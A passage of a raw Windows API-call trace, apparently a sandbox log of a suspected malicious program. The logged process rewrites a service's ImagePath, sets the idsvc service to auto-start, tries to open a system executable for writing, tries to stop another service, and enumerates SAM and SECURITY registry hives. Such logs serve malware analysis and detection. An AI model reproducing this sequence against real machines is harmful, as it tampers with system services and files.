dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.050] RegEnumValueA (in: hKey=0x14c, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.051] RegEnumValueA (in: hKey=0x14c, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.051] RegEnumValueA (in: hKey=0x14c, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.051] RegEnumValueA (in: hKey=0x14c, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0246.051] RegEnumValueA (in: hKey=0x14c, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0246.051] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0246.051] CommandLineToArgvW (in: lpCmdLine="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" [0246.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0246.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d458 [0246.051] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0246.051] LocalFree (hMem=0x7f03d0) returned 0x0 [0246.051] RegSetValueExA (in: hKey=0x154, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"", cbData=0x5a | out: lpData="\"C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe\"") returned 0x0 [0246.051] OpenServiceW (hSCManager=0x803918, lpServiceName="idsvc", dwDesiredAccess=0x2) returned 0x8038a0 [0246.052] ChangeServiceConfigW (in: hService=0x8038a0, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0246.053] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0246.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0246.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0246.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0246.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0246.053] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0246.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.054] RegCloseKey (hKey=0x154) returned 0x0 [0246.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0246.054] RegCloseKey (hKey=0x14c) returned 0x0 [0246.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0246.054] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0246.054] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0246.054] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.054] GetLastError () returned 0x5 [0246.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0246.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0246.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0246.054] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0246.057] NtClose (Handle=0x14c) returned 0x0 [0246.057] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0246.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x5000) returned 0x21f4ea8 [0246.057] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0246.181] NtClose (Handle=0x14c) returned 0x0 [0246.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e5048) returned 1 [0246.181] NtClose (Handle=0x154) returned 0x0 [0246.181] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x2710) returned 0x0 [0246.370] NtClose (Handle=0x150) returned 0x0 [0246.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0246.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.370] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0246.370] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9cbb5f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9cbb5f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9ce1753, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xd1150)) returned 1 [0246.371] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v3.0\\Windows Communication Foundation\\infocard.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\windows communication foundation\\infocard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0246.371] GetLastError () returned 0x5 [0246.371] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0246.372] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0246.372] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0246.372] OpenServiceW (hSCManager=0x803918, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x803990 [0246.372] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0246.372] GetLastError () returned 0x425 [0246.372] CloseServiceHandle (hSCObject=0x803990) returned 1 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0246.373] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0246.373] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1970, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.373] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.373] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.373] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0246.373] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.374] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.374] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.374] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.374] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0246.374] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.374] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.375] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0246.375] RegCloseKey (hKey=0x80000002) returned 0x0 [0246.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1970, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.375] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.375] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1970, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0246.375] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.375] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f19b8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0246.376] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.376] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0246.376] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 